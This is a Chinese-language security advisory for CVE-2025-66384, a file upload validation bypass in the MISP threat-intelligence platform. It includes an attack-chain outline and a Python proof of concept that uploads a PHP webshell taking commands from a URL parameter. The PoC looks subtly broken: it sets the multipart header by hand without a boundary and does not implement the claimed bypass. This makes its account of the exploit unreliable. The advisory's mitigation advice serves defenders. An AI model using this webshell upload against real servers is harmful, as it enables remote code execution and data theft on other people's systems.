MISP < 2.5.24 EventsController.php 文件上传验证绕过漏洞

漏洞信息

漏洞编号

CVE-2025-66384

漏洞类型

文件上传验证绕过

CVSS评分

8.2 高危

攻击向量

网络 (AV:N)

认证要求

高权限 (PR:H)

用户交互

无需交互 (UI:N)

影响产品

MISP

漏洞概述

MISP（开源威胁情报平台）在2.5.24之前的版本中存在一个严重的文件上传验证绕过漏洞。该漏洞位于app/Controller/EventsController.php文件中，攻击者可以利用无效的逻辑检查绕过文件上传验证机制。漏洞的核心问题在于对上传文件的tmp_name字段验证存在缺陷，攻击者可以通过构造特殊的文件上传请求来上传恶意文件。由于MISP是广泛应用于网络安全领域的威胁情报共享平台，该漏洞可能影响大量使用该平台进行威胁情报管理和分析的组织。攻击者利用此漏洞可以上传任意文件到服务器，可能导致远程代码执行、数据泄露或进一步的攻击行为。该漏洞需要高权限认证才能利用，但一旦被利用，将对系统的机密性、完整性和可用性造成严重影响。

技术细节

该漏洞源于MISP的EventsController.php中对上传文件有效性检查的错误实现。问题出在对PHP文件上传临时文件变量$_FILES['file']['tmp_name']的验证逻辑上。在正常的文件上传处理流程中，服务器应该验证临时文件是否真实存在且具有有效的文件属性。然而，由于验证逻辑存在缺陷，攻击者可以通过构造特定的请求参数来绕过这些检查。具体而言，当PHP处理文件上传时，会将文件存储在临时目录中并设置tmp_name属性。攻击者可能通过操纵请求参数或利用验证逻辑中的条件判断缺陷，使得验证函数错误地认为文件有效，从而允许恶意文件被上传到服务器指定位置。攻击者可以利用此漏洞上传webshell或其他恶意脚本，进而在服务器上执行任意代码，实现远程代码执行攻击。

攻击链分析

STEP 1

步骤1

攻击者获取MISP系统的高权限账户凭据（通过社工、凭据泄露或其他方式）

STEP 2

步骤2

攻击者构造恶意的文件上传请求，针对events/uploadFile端点，绕过tmp_name验证逻辑

STEP 3

步骤3

服务器端EventsController.php的错误验证逻辑未能正确检测恶意文件，允许上传.php或其他可执行文件

STEP 4

步骤4

恶意文件被保存到服务器可访问的目录，攻击者通过HTTP请求访问该文件执行任意代码

STEP 5

步骤5

攻击者成功实现远程代码执行，可进一步进行内网渗透、数据窃取或持久化控制

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests
import sys

# CVE-2025-66384 PoC - MISP File Upload Validation Bypass
# Target: MISP < 2.5.24

def exploit(target_url, api_key):
    """
    Exploit file upload validation bypass in MISP EventsController
    """
    headers = {
        'Authorization': api_key,
        'Content-Type': 'multipart/form-data'
    }
    
    # Malicious PHP webshell disguised as event attachment
    files = {
        'file': ('malicious.php', '<?php system($_GET["cmd"]); ?>', 'application/x-php')
    }
    
    # Exploit endpoint - events controller with invalid validation
    url = f"{target_url}/events/uploadFile"
    
    try:
        response = requests.post(url, headers=headers, files=files, timeout=10)
        
        if response.status_code == 200:
            print("[+] File uploaded successfully!")
            print("[+] Access webshell at: " + response.json().get('url', 'Unknown'))
            return True
        else:
            print(f"[-] Upload failed: {response.status_code}")
            return False
    except requests.exceptions.RequestException as e:
        print(f"[-] Error: {e}")
        return False

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print(f"Usage: python {sys.argv[0]} <target_url> <api_key>")
        sys.exit(1)
    
    target = sys.argv[1]
    key = sys.argv[2]
    exploit(target, key)

影响范围

MISP < 2.5.24

防御指南

临时缓解措施

如果无法立即升级，可采取以下临时缓解措施：限制文件上传功能仅对必要的管理员开放；设置Web服务器配置禁止上传目录中的文件执行；增加文件上传的速率限制和异常检测机制；定期审计上传文件目录，及时发现和清除恶意文件；启用详细的访问日志记录以便追踪可疑活动。